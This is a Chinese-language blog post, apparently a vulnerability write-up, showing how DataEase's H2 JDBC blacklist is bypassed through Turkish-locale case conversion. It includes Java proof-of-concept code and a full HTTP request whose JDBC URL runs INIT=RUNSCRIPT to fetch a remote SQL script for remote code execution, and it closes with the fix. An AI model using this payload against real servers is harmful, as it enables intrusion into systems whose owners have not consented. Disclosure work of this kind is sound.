java 中 Locale 差异带来的黑名单绕过

前言

命途多舛的 dataease h2 jdbc 模块自大小写/unicode转换/反斜杠/json 属性覆盖后又迎来了一种全新的绕过方式

Locale 的作用

Java 里的 Locale 用来规定“语言 + 地区对应的文化规则”,-Duser.language-Duser.country 设置的就是 JVM 的默认 Locale,它会直接影响字符串大小写、比较规则、格式化和国际化行为,默认情况下由语言环境自动设置,比如我们现在一般是中文语言环境,因此默认是中文,如果我们是英文语言环境,默认就是英文

继续绕过

我们看到现在 dataease 现在的检测,它在用 toUpperCase 转大写时没有设置 Locale,因此默认选择的是用户当前的地区对应的字符集等等:

这里有个问题,当我们看到 h2 jdbc 底层解析 URL 的逻辑,可以看到它在转大写的时候其实是设置了 Locale 的,值为 English

这里其实带来了一个差异,就是不同地区对应的字符集和转换规则其实是不一样的,也因此 toUpperCase 会向使用者提供设置 Locale 的 api,比如我们本地可以做个测试,设置地区为土耳其:

-Duser.language=tr -Duser.country=TR

我们来测试下面的代码:

package JDBC;

import java.sql.Connection;
import java.sql.DriverManager;
import java.util.Locale;

public class H2RCE_Test {
  public static void main(String[] args) throws Exception {
      String url = "iNIT=RUNSCRIPT";
      System.out.println(url.toUpperCase());
      System.out.println(url.toUpperCase(Locale.ENGLISH));
  }
}

可以发现一个很神奇的事,对于字母 i,当地区为 TR 时,转大写的结果是İ,而对于 English 它是正确的 I

这意味 dataease 现在的这套检测放在中文或者英文地区或许是有效的,但是放在土耳其等地方其实是能被绕过的:

且由于 h2 jdbc 底层解析时强制走的 English,所以它也能成功被 h2 引擎解析:

package JDBC;

import java.sql.Connection;
import java.sql.DriverManager;
import java.util.Locale;

public class H2RCE_Test {
  public static void main(String[] args) throws Exception {
      String url = "jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;iNIT=RUNSCRiPT FROM 'http://127.0.0.1:50025/poc.sql'";
      System.out.println(url.toUpperCase());
      System.out.println(url.toUpperCase(Locale.ENGLISH));
      if(url.toUpperCase().replace("\\", "").contains("INIT")){
          System.out.println("wrong");
      }else{
          System.out.println("bypass");
      }
      Connection conn = DriverManager.getConnection(url);
  }
}

在 dataease 应用里我们也可以做具体的测试,将运行时的环境改成土耳其地区:

确实能在实际应用中绕过检测实现 RCE:

POST /de2api/datasource/validate HTTP/1.1
Host: 127.0.0.1:8100
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:147.0) Gecko/20100101 Firefox/147.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8,zh-HK;q=0.7,en-US;q=0.6,en;q=0.5
Accept-Encoding: gzip, deflate, br
Sec-GPC: 1
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
If-Modified-Since: Wed, 17 Dec 2025 22:15:56 GMT
Priority: u=0, i
Content-Type: application/json
Content-Length: 492

{"id":"","name":"a","description":"","type":"h2","configuration":"eyJkYXRhQmFzZSI6IiIsImpkYmMiOiJqZGJjOmgyOm1lbTp0ZXN0ZGI7VFJBQ0VfTEVWRUxfU1lTVEVNX09VVD0zO2lOSVQ9UlVOU0NSaVBUIEZST00gJ2h0dHA6Ly8xMjcuMC4wLjE6NTAwMjUvcG9jLnNxbCciLCJ1cmxUeXBlIjoiamRiY1VybCIsInNzaFR5cGUiOiJwYXNzd29yZCIsImV4dHJhUGFyYW1zIjoiIiwidXNlcm5hbWUiOiIxMjMiLCJwYXNzd29yZCI6IjEyMyIsImhvc3QiOiIiLCJhdXRoTWV0aG9kIjoiIiwicG9ydCI6MCwiaW5pdGlhbFBvb2xTaXplIjo1LCJtaW5Qb29sU2l6ZSI6NSwibWF4UG9vbFNpemUiOjUsInF1ZXJ5VGltZW91dCI6MzB9"}

修复方法也很简单,转大写的时候地区强制设置成 English即可,即:

if (jdbc.toUpperCase(Locale.ENGLISH).replace("\\", "").contains(illegalParameter)) {
              DEException.throwException("Has illegal parameter: " + jdbc);
          }
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇